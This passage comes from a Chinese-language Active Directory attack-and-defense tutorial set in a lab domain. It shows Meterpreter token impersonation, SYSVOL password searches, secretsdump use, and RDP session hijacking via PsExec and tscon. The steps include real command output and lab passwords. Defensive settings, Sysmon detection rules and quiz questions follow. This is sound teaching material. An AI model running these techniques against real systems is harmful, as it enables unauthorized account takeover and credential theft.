# 1. 讀取 DNS 日誌檔案
C:\Windows\system32> type \\winterfell\c$\dns_log.txt

# 2. 探索 SYSVOL 中的群組原則
C:\Windows\system32> dir \\kingslanding\SYSVOL\sevenkingdoms.local\Policies

# 3. 搜尋 SYSVOL 中的敏感資訊(密碼、憑證)
C:\Windows\system32> findstr /S /I /M "password" \\kingslanding\SYSVOL\*.*

# 4. 列舉網域信任關係
C:\Windows\system32> nltest /domain_trusts

# 5. 檢查是否可存取其他主機
C:\Windows\system32> dir \\braavos\c$

5.4 模擬高價值服務帳號 - sql_svc

從 Token 清單中發現了 NORTH\sql_svc,這是 SQL Server 服務帳號。服務帳號在 Active Directory 環境中通常擁有特殊權限,是滲透測試中的高價值目標。

模擬 sql_svc 的正確流程

第一次嘗試(失敗):

C:\Windows\system32> exit
exit
meterpreter > impersonate_token "NORTH\\sql_svc"
[-] stdapi_sys_config_getsid: Operation failed: Access is denied.

image

問題分析:

  • 目前以 robb.stark 身份運行
  • 一般使用者權限無法直接存取其他使用者的 Token
  • 必須先恢復到 SYSTEM 權限

解決方案:使用 rev2self 恢復 SYSTEM 權限

meterpreter > rev2self

rev2self 指令說明:

  • 恢復到 Meterpreter payload 的原始權限(通常是 SYSTEM)
  • 這是切換不同 Token 之間的標準做法
  • Token 操作的黃金法則:從使用者 A 切換到使用者 B 必須先經過 SYSTEM

第二次嘗試(成功):

meterpreter > impersonate_token "NORTH\\sql_svc"
[+] Delegation token available
[+] Successfully impersonated user NORTH\sql_svc

取得 Shell 並驗證身份:

meterpreter > shell
Process 5036 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.7792]

C:\Windows\system32> whoami
north\sql_svc

image

成功模擬為 sql_svc 服務帳號。

檢查 sql_svc 的網域帳號資訊

C:\Windows\system32> net user sql_svc /domain

image

輸出結果:

The request will be processed at a domain controller for domain north.sevenkingdoms.local.

User name                    sql_svc
Full Name                    sql_svc
Comment                      sql service
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/7/2025 10:32:59 AM
Password expires             Never
Password changeable          9/8/2025 10:32:59 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/11/2025 8:04:26 AM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.

帳號特性分析:

基本資訊:

  • 帳號名稱:sql_svc
  • 註解:sql service(明確標示為 SQL 服務帳號)
  • 完整名稱:sql_svc

帳號狀態(典型服務帳號特徵):

  • 帳號啟用:是
  • 帳號過期:永不過期
  • 密碼過期:永不過期
  • 最後登入:2025/10/11 8:04:26 AM(表示此服務帳號正在使用中)

登入限制:

  • 允許的工作站:全部
  • 登入時段:全天候
  • 這是服務帳號的典型設定,需要隨時可以啟動服務

群組成員資格:

  • 本機群組:無顯示特殊群組
  • 全域群組:僅 Domain Users

初步觀察:

  1. 這是一個標準的服務帳號設定
  2. 群組成員資格看似受限(僅 Domain Users)
  3. 但服務帳號的價值通常在其特權和 SPN,而非群組成員資格

檢查 sql_svc 的特權

C:\Windows\system32> whoami /priv

image

輸出結果:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

特權分析:

特權名稱 描述 狀態 安全影響
SeImpersonatePrivilege 認證後模擬客戶端 已啟用 極高風險
SeAssignPrimaryTokenPrivilege 取代處理程序等級權杖 已停用 中度風險
SeChangeNotifyPrivilege 繞過周遊檢查 已啟用 低風險
SeCreateGlobalPrivilege 建立全域物件 已啟用 低風險
SeIncreaseQuotaPrivilege 調整處理程序記憶體配額 已停用 低風險
SeIncreaseWorkingSetPrivilege 增加處理程序工作集 已停用 低風險

SeImpersonatePrivilege 的重要性(關鍵發現):

這個特權是 Windows 本地提權攻擊的核心,允許擁有此特權的帳號模擬其他使用者的安全上下文。

可利用的提權工具:

  • JuicyPotato(Windows Server 2016 及更早版本)
  • RoguePotato(Windows Server 2019)
  • PrintSpoofer(所有版本)
  • GodPotato(最新版本)

攻擊原理:

  1. 服務帳號擁有 SeImpersonatePrivilege
  2. 觸發 SYSTEM 權限的服務進行回調
  3. 使用 SeImpersonatePrivilege 模擬 SYSTEM
  4. 執行以 SYSTEM 權限運行的指令

實戰意義:
雖然我們目前已經擁有 SYSTEM 權限(透過 Metasploit),但在其他滲透測試場景中,如果只取得 sql_svc 的憑證而沒有管理員權限,這個特權可以直接提權到 SYSTEM。

檢查 sql_svc 的群組成員資格

C:\Windows\system32> whoami /groups

image

輸出結果:

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                                             Attributes                      
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Monitor Users          Alias            S-1-5-32-558                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS                Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                    

群組成員資格深度分析:

關鍵群組識別:

群組名稱 類型 重要性 意義
NT SERVICE\MSSQL$SQLEXPRESS 服務群組 極高 確認此帳號是 SQL Server Express 的執行帳號
NT AUTHORITY\SERVICE 系統群組 標識為服務帳號身份
BUILTIN\Performance Monitor Users 本機群組 可存取效能計數器資料
Mandatory Label\High Mandatory Level 完整性等級 極高 擁有高完整性等級

High Mandatory Level 的意義(重要):

Windows 完整性機制(Mandatory Integrity Control, MIC)分為四個等級:

  • Low(低):S-1-16-4096(沙箱應用程式)
  • Medium(中):S-1-16-8192(一般使用者程式)
  • High(高):S-1-16-12288(管理員程式) ← sql_svc 在此等級
  • System(系統):S-1-16-16384(系統核心程式)

High Integrity 的特權:

  1. 可以存取 Medium 和 Low 完整性等級的資源
  2. 可以修改系統設定(部分)
  3. 可以安裝驅動程式和服務
  4. 繞過某些 UAC 限制
  5. 比一般使用者程式擁有更高的信任等級

NT SERVICE\MSSQL$SQLEXPRESS 群組的意義:

這個 SID(S-1-5-80-...)格式表示這是一個「虛擬服務帳號」:

  • Windows 服務的專用安全識別碼
  • 每個服務都有唯一的 SID
  • sql_svc 是此服務的「執行身份」
  • 確認 CASTELBLACK 上確實運行 SQL Server Express

sql_svc 服務帳號的攻擊價值評估

已確認的特性:

特性 狀態 攻擊價值
服務帳號身份 確認(NT AUTHORITY\SERVICE)
SeImpersonatePrivilege 已啟用 極高(本地提權)
High Mandatory Level 確認(S-1-16-12288)
SQL Server 關聯 確認(MSSQL$SQLEXPRESS) 中高
密碼永不過期 確認 高(Kerberoasting 目標)
帳號永不過期 確認
最近活躍 確認(2025/10/11 登入)

潛在攻擊向量:

  1. Kerberoasting 攻擊(最有價值)
  • 服務帳號通常註冊有 SPN
  • 可以請求 TGS 票證
  • 離線破解取得明文密碼
  1. 本地提權(如果只有此帳號權限)
  • 利用 SeImpersonatePrivilege
  • 使用 PrintSpoofer、RoguePotato 等工具
  • 提權至 SYSTEM
  1. SQL Server 存取(如果服務運行)
  • 以服務帳號身份存取資料庫
  • 可能執行 xp_cmdshell 執行系統指令
  • 存取敏感資料
  1. 持久性維持
  • 服務帳號長期有效
  • 密碼不常變更
  • 適合作為後門帳號

服務帳號的典型特徵總結

sql_svc 展現了服務帳號的所有典型特徵:

設定特徵:

  • 密碼永不過期(便於服務長期運行)
  • 帳號永不過期
  • 允許全天候登入
  • 無工作站限制

權限特徵:

  • SeImpersonatePrivilege(服務需要模擬客戶端)
  • High Mandatory Level(服務需要較高權限)
  • NT AUTHORITY\SERVICE 身份

安全風險:

  • 密碼管理通常較鬆散
  • 很少更換密碼
  • 可能使用弱密碼
  • 是 Kerberoasting 的理想目標

滲透測試價值:

  • 本地提權的跳板
  • Kerberoasting 的目標
  • 可能有資料庫存取權
  • 持久性的理想選擇

這個帳號雖然表面上只是 Domain Users 成員,但其 SeImpersonatePrivilege 和 High Integrity Level 使其成為一個極具價值的攻擊目標。在真實的滲透測試中,發現這類服務帳號往往是突破防線的關鍵。

5.5 Token 模擬的實戰應用

應用場景 1:橫向移動

使用被模擬使用者的身份存取其他主機:

C:\Windows\system32> dir \\TARGET_HOST\c$
C:\Windows\system32> copy payload.exe \\TARGET_HOST\c$\temp\

應用場景 2:權限提升

如果模擬的使用者是 Domain Admins 成員:

C:\Windows\system32> net group "Domain Admins" /domain
C:\Windows\system32> secretsdump.py north.sevenkingdoms.local/robb.stark@winterfell

應用場景 3:資料收集

以目標使用者身份存取其私人檔案:

C:\Windows\system32> dir C:\Users\robb.stark\Desktop
C:\Windows\system32> type C:\Users\robb.stark\Documents\passwords.txt

5.6 Token 模擬的防禦與偵測

防禦措施

技術層面:

  1. 啟用 Credential Guard
  2. 實施 Protected Users 安全性群組
  3. 限制本機管理員權限
  4. 使用 LAPS 管理本機管理員密碼

管理層面:

  1. 實施特權帳號管理(PAM)
  2. 使用跳板主機(Jump Server)
  3. 定期稽核特權使用
  4. 實施最小權限原則

組態建議:

# 停用 WDigest(避免明文密碼留在記憶體)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0

# 啟用 LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1

偵測方法

Windows 事件日誌監控:

Event ID 描述 偵測重點
4624 帳戶登入 Type 9(NewCredentials)可能表示 Token 模擬
4672 特權使用 SeImpersonatePrivilege 的使用
4648 使用明確憑證登入 可能是 Token 模擬的前置動作
4688 建立新處理程序 父程序與子程序的使用者不一致

Sysmon 規則範例:

<RuleGroup name="Token Manipulation" groupRelation="or">
  <ProcessAccess onmatch="include">
    <GrantedAccess condition="is">0x1478</GrantedAccess>
    <GrantedAccess condition="is">0x1410</GrantedAccess>
  </ProcessAccess>
</RuleGroup>

PowerShell 監控:

# 檢查異常的 Token 使用
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4672} | 
    Where-Object {$_.Properties[1].Value -like "*SeImpersonatePrivilege*"}

5.7 攻擊成果總結

Token 擁有者 狀態 類型 價值評估 後續利用方向
jeor.mormont 原始帳號 管理員 本機完全控制
robb.stark 已模擬 網域使用者 中高 橫向移動、資料存取
sql_svc 可模擬 服務帳號 極高 Kerberoasting、特權操作
SYSTEM 已擁有 系統帳號 極高 本機最高權限

關鍵發現:

  1. 成功模擬 robb.stark 的網域使用者身份
  2. 發現高價值服務帳號 sql_svc
  3. 建立了穩定的 Meterpreter 工作階段
  4. 可以進行進一步的橫向移動和權限提升

建議下一步行動:

  1. 對 sql_svc 進行 Kerberoasting 攻擊
  2. 使用 robb.stark 的身份探索網域資源
  3. 收集更多網域使用者的憑證
  4. 規劃通往 Domain Admin 的攻擊路徑

Part 6:RDP Session 劫持攻擊

6.1 RDP 劫持原理與攻擊條件

攻擊原理

Windows 的終端機服務(Terminal Services)允許具有 SYSTEM 權限的處理程序透過 tscon.exe 工具連接到任何使用者的 RDP Session,且無需驗證密碼。這是 Windows 設計的功能,原意是讓系統管理員能夠協助使用者排除問題,但卻成為攻擊者橫向移動和提權的有效途徑。

攻擊流程:

取得目標主機的管理員權限
    ↓
提升至 SYSTEM 權限
    ↓
列舉所有活躍的 RDP Sessions
    ↓
使用 tscon.exe 劫持目標 Session
    ↓
以目標使用者身份執行所有操作

攻擊前置條件

必要條件:

  • 已取得目標主機的本機管理員權限
  • 目標使用者有活躍或中斷的 RDP Session
  • 能夠提升至 SYSTEM 權限

作業系統限制:

作業系統版本 是否需要密碼 可利用性
Windows Server 2016 及更早版本 完全可利用
Windows Server 2019 及更新版本 已修補
Windows 10 1803 之前版本 完全可利用
Windows 10 1803 及更新版本 已修補

本次實驗環境:

目標主機:BRAAVOS
IP 位址:192.168.139.23
作業系統:Windows Server 2016 Standard Evaluation
域:essos.local
狀態:易受攻擊(未修補版本)

6.2 實驗環境設定

受害者登入(模擬高權限使用者)

首先,讓域管理員 daenerys.targaryen 登入目標主機:

xfreerdp3 /d:essos.local \
          /u:daenerys.targaryen \
          /p:'BurnThemAll!' \
          /v:192.168.139.23 \
          /cert:ignore \
          +clipboard

模擬使用者行為:

登入後開啟一些應用程式,例如:

  • 開啟記事本(notepad.exe)並輸入內容
  • 開啟檔案總管瀏覽檔案
  • 執行 whoami 確認身份為 essos\daenerys.targaryen

這些開啟的應用程式將在稍後的劫持中被看到,作為劫持成功的明顯證據。

攻擊者登入(本機管理員)

接著,使用本機管理員帳號 khal.drogo 登入同一台主機:

xfreerdp3 /d:essos.local \
          /u:khal.drogo \
          /p:'horse' \
          /v:192.168.139.23 \
          /cert:ignore \
          +clipboard

image

注意事項:

  • khal.drogo 是 BRAAVOS 主機的本機管理員
  • 該帳號具有本機管理員權限,但非域管理員
  • 我們的目標是透過 Session 劫持提升至域管理員權限

6.3 下載並準備 PsExec 工具

下載 PsExec

在 khal.drogo 的 RDP Session 中開啟瀏覽器,前往:

https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

下載 PSTools 套件並解壓縮至:

C:\Users\khal.drogo\Documents\PSTools

什麼是 PsExec?

PsExec 是 Microsoft Sysinternals 套件中的工具,允許在本機或遠端電腦上執行處理程序。使用 -s 參數可以讓處理程序以 SYSTEM 身份執行。

關鍵參數:

  • -s:以 SYSTEM 帳戶執行
  • -i:允許處理程序與桌面互動(開啟視窗)
  • -accepteula:自動接受授權條款(避免首次執行提示)

6.4 提升至 SYSTEM 權限

以管理員身份執行 PowerShell

在 khal.drogo 的桌面上:

  1. 按下 Windows 鍵
  2. 輸入 PowerShell
  3. 右鍵點選「Windows PowerShell」
  4. 選擇「以系統管理員身分執行」

或在現有 PowerShell 中執行:

Start-Process powershell -Verb RunAs

驗證管理員權限

在新開啟的 PowerShell 視窗中確認權限:

whoami
# 輸出:essos\khal.drogo

使用 PsExec 提升到 SYSTEM

cd C:\Users\khal.drogo\Documents\PSTools
.\PsExec64.exe -s -i cmd.exe

image

預期輸出:

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

隨後會開啟一個新的 cmd.exe 視窗,這個視窗以 SYSTEM 身份執行。

驗證 SYSTEM 權限

在新開啟的 cmd.exe 視窗中:

whoami

正確輸出:

nt authority\system

如果輸出不是 nt authority\system,請檢查:

  • PowerShell 是否以管理員身份執行
  • PsExec 路徑是否正確
  • 防毒軟體是否阻擋 PsExec

6.5 列舉 RDP Sessions

執行 Session 列舉

在 SYSTEM 權限的 cmd.exe 視窗中執行:

query user

image

實際輸出範例

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
>khal.drogo            rdp-tcp#2           2  Active          .  10/11/2025 7:00 AM
 daenerys.targaryen                        3  Disc            6  10/11/2025 8:15 AM

輸出欄位解析

欄位說明:

欄位 說明 本例數值
> 符號 標記目前所在的 Session khal.drogo 的 Session
USERNAME 登入的使用者名稱 khal.drogo / daenerys.targaryen
SESSIONNAME Session 連線名稱 rdp-tcp#2(khal)/ 空白(daenerys)
ID Session 的數字識別碼 2(khal)/ 3(daenerys)
STATE Session 狀態 Active(活躍)/ Disc(中斷)
IDLE TIME 閒置時間 .(剛操作)/ 6(閒置 6 分鐘)
LOGON TIME 登入時間 登入的具體時間

Session 狀態說明:

  • Active:使用者正在連線並可能正在操作
  • Disc(Disconnected):使用者已中斷連線,但 Session 仍保持在伺服器上
  • Idle:長時間無操作
  • Listen:等待連線的 Session

戰術分析

從輸出中我們可以得知:

  1. 目標識別

    • daenerys.targaryen 的 Session ID 為 3
    • 該 Session 處於中斷狀態(Disc)
    • 閒置了 6 分鐘
  2. 攻擊者位置

    • khal.drogo 的 Session ID 為 2
    • > 符號表示這是目前所在的 Session
    • SESSIONNAME 為 rdp-tcp#2
  3. 劫持可行性

    • 中斷狀態的 Session 同樣可以劫持
    • 受害者不在電腦前(閒置 6 分鐘),降低被發現風險
    • daenerys.targaryen 是域管理員,劫持成功後可獲得域管理員權限

6.6 執行 Session 劫持

劫持指令

在 SYSTEM 權限的 cmd.exe 中執行:

tscon 3

image

指令說明:

  • tscon:Terminal Services Connection 工具
  • 3:要劫持的 Session ID(daenerys.targaryen 的 Session)

完整語法(可選)

tscon 3 /dest:rdp-tcp#2

參數說明:

  • 3:目標 Session ID
  • /dest:rdp-tcp#2:目的地 Session 名稱(khal.drogo 的 Session)

注意: 如果省略 /dest 參數,tscon 會自動將目標 Session 劫持到執行指令的目前 Session。

劫持過程觀察

攻擊者視角(khal.drogo 的 RDP 視窗):

執行 tscon 3 指令
    ↓
RDP 視窗畫面閃爍約 1-2 秒
    ↓
桌面環境完全改變
    ↓
現在顯示的是 daenerys 的桌面
    ↓
可以看到 daenerys 之前開啟的應用程式
    ↓
工作列、桌面背景、檔案都是 daenerys 的

受害者視角(daenerys.targaryen):

由於 daenerys 的 Session 原本就處於中斷狀態(Disc),她不會察覺到異常。如果她嘗試重新連線:

嘗試 RDP 連線到 BRAAVOS
    ↓
收到錯誤訊息:
「另一個使用者已登入此工作階段」
或
「工作階段已被鎖定」

6.7 驗證劫持成功

確認目前身份

在劫持後的桌面開啟 PowerShell 或 cmd.exe,執行:

whoami

預期輸出:

essos\daenerys.targaryen

image

Part 7:防禦與偵測

7.1 防禦檔案強制認證

組態政策設定:

# 停用 UNC 強化路徑存取
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\NetworkProvider\HardenedPaths" `
                 -Name "\\*\*" `
                 -Value "RequireMutualAuthentication=1,RequireIntegrity=1"

SMB 強化:

  • ✅ 啟用 SMB Signing (強制)
  • ✅ 停用 SMB v1
  • ✅ 限制匿名存取

共享資料夾管理:

  • 🔒 定期審查共享權限
  • 🔒 避免「所有人完全控制」的設定
  • 🔒 監控可寫入共享的檔案變化

7.2 防禦 WebDAV 攻擊

# 停用 WebClient 服務
Set-Service WebClient -StartupType Disabled
Stop-Service WebClient

# 透過 GPO 部署到所有主機

LDAP 強化:

1. 啟用 LDAP Signing (強制)
2. 啟用 LDAP Channel Binding
3. 停用 LDAPS 上的 NTLM 認證

7.3 防禦 Token 模擬

權限管理:

# 審查哪些帳號有 SeImpersonatePrivilege
whoami /priv

# 移除不必要的特權

隔離特權帳號:

  • 🔴 Domain Admin 永遠不要登入一般伺服器
  • 🔴 使用 PAW (Privileged Access Workstation)
  • 🔴 實施 Tier 模型分層管理

7.4 防禦 RDP 劫持

限制 RDP 存取:

# 透過防火牆限制 RDP 來源
New-NetFirewallRule -DisplayName "RDP-Restricted" `
                    -Direction Inbound `
                    -Protocol TCP `
                    -LocalPort 3389 `
                    -RemoteAddress 10.10.10.0/24 `
                    -Action Allow

升級到最新版本:

  • Windows Server 2019+ 已修補此問題
  • 啟用 Restricted Admin Mode
  • 使用 Remote Credential Guard

7.5 SIEM 偵測規則

Event ID 監控:

Event ID 描述 偵測內容
4624 帳戶登入 異常來源 IP 的 Type 3 登入
4672 特權使用 SeDebugPrivilege, SeImpersonatePrivilege 的使用
4648 使用明確憑證登入 Token 模擬或 RunAs
4778 RDP Session重新連線 tscon 造成的Session切換

Sysmon 規則:

<RuleGroup name="Token Impersonation" groupRelation="or">
  <ProcessCreate onmatch="include">
    <CommandLine condition="contains">impersonate</CommandLine>
    <CommandLine condition="contains">incognito</CommandLine>
  </ProcessCreate>
</RuleGroup>

<RuleGroup name="RDP Hijack" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Image condition="end with">tscon.exe</Image>
    <ParentImage condition="end with">cmd.exe</ParentImage>
  </ProcessCreate>
</RuleGroup>

本日重點回顧

  • 檔案強制認證是高威脅攻擊 - 只需開啟資料夾即可竊取憑證
  • .lnk、.scf、.url 都能觸發自動認證 - 無需使用者點擊
  • WebDAV 攻擊結合 HTTP to LDAP Relay - 可執行高權限操作
  • Token 模擬繞過密碼需求 - 直接使用其他使用者身份
  • RDP 劫持在舊版 Windows 極為危險 - SYSTEM 可無密碼切換Session
  • 防禦需要多層次策略 - 技術控制、權限管理、監控偵測

小試身手

Q1. 下列哪個檔案類型不需要使用者點擊就能觸發強制認證?

A. .lnk
B. .scf
C. .url
D. 以上皆是

答案: D
解析: 所有這些檔案類型都會在 Explorer.exe 載入資料夾內容時自動嘗試讀取遠端 UNC 路徑,從而觸發 NTLM 認證。這是 Windows 檔案系統的設計特性,不需要使用者點擊檔案。

Q2. WebClient 服務在 Windows 的預設狀態為何?

A. 預設啟用且執行中
B. 預設啟用但停止
C. 工作站安裝但停止,伺服器未安裝
D. 完全未安裝

答案: C
解析: WebClient (WebDAV) 服務在 Windows 工作站上預設安裝但停止,在 Windows Server 上則預設不安裝。這就是為什麼需要透過特殊檔案 (如 .searchConnector-ms) 來觸發服務自動啟動。

Q3. PetitPotam 強制認證到 HTTP (而非 HTTPS) 的主要優勢是什麼?

A. 速度更快
B. 可以 Relay 到 LDAP
C. 不需要憑證
D. 更隱蔽

答案: B
解析: HTTP 認證可以被 Relay 到 LDAP (如果未啟用 LDAP Signing/Channel Binding),這允許執行如 Shadow Credentials、RBCD、ACL 修改等高權限操作。HTTPS 則因為 Channel Binding 而較難 Relay。

Q4. Token 模擬攻擊需要什麼權限?

A. Domain Admin
B. Local Admin
C. SeImpersonatePrivilege
D. SeDebugPrivilege

答案: C
解析: Token 模擬需要 SeImpersonatePrivilege 權限。這個權限允許 process「假扮」成其他使用者。許多服務帳號 (如 IIS、MSSQL) 預設擁有此權限,這也是 Potato 系列提權攻擊的基礎。

Q5. RDP Session劫持在哪個 Windows 版本已被修補?

A. Windows Server 2012 R2
B. Windows Server 2016
C. Windows Server 2019
D. 所有版本都有此功能

答案: C
解析: Windows Server 2019 及更新版本已修補此問題,即使有 SYSTEM 權限也無法使用 tscon 無密碼劫持其他使用者的 RDP Session。Windows Server 2016 及更早版本仍然存在此風險。


上一篇
AD 攻防實戰演練 Day 26:Sliver C2 進階應用 - 從列舉到提升權限與橫向移動
下一篇
AD 攻防實戰演練 Day 28:企業管理的雙面刃 - Microsoft SCCM/MECM 環境安裝與情資偵查
系列文
資安這條路:AD 攻防實戰演練30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言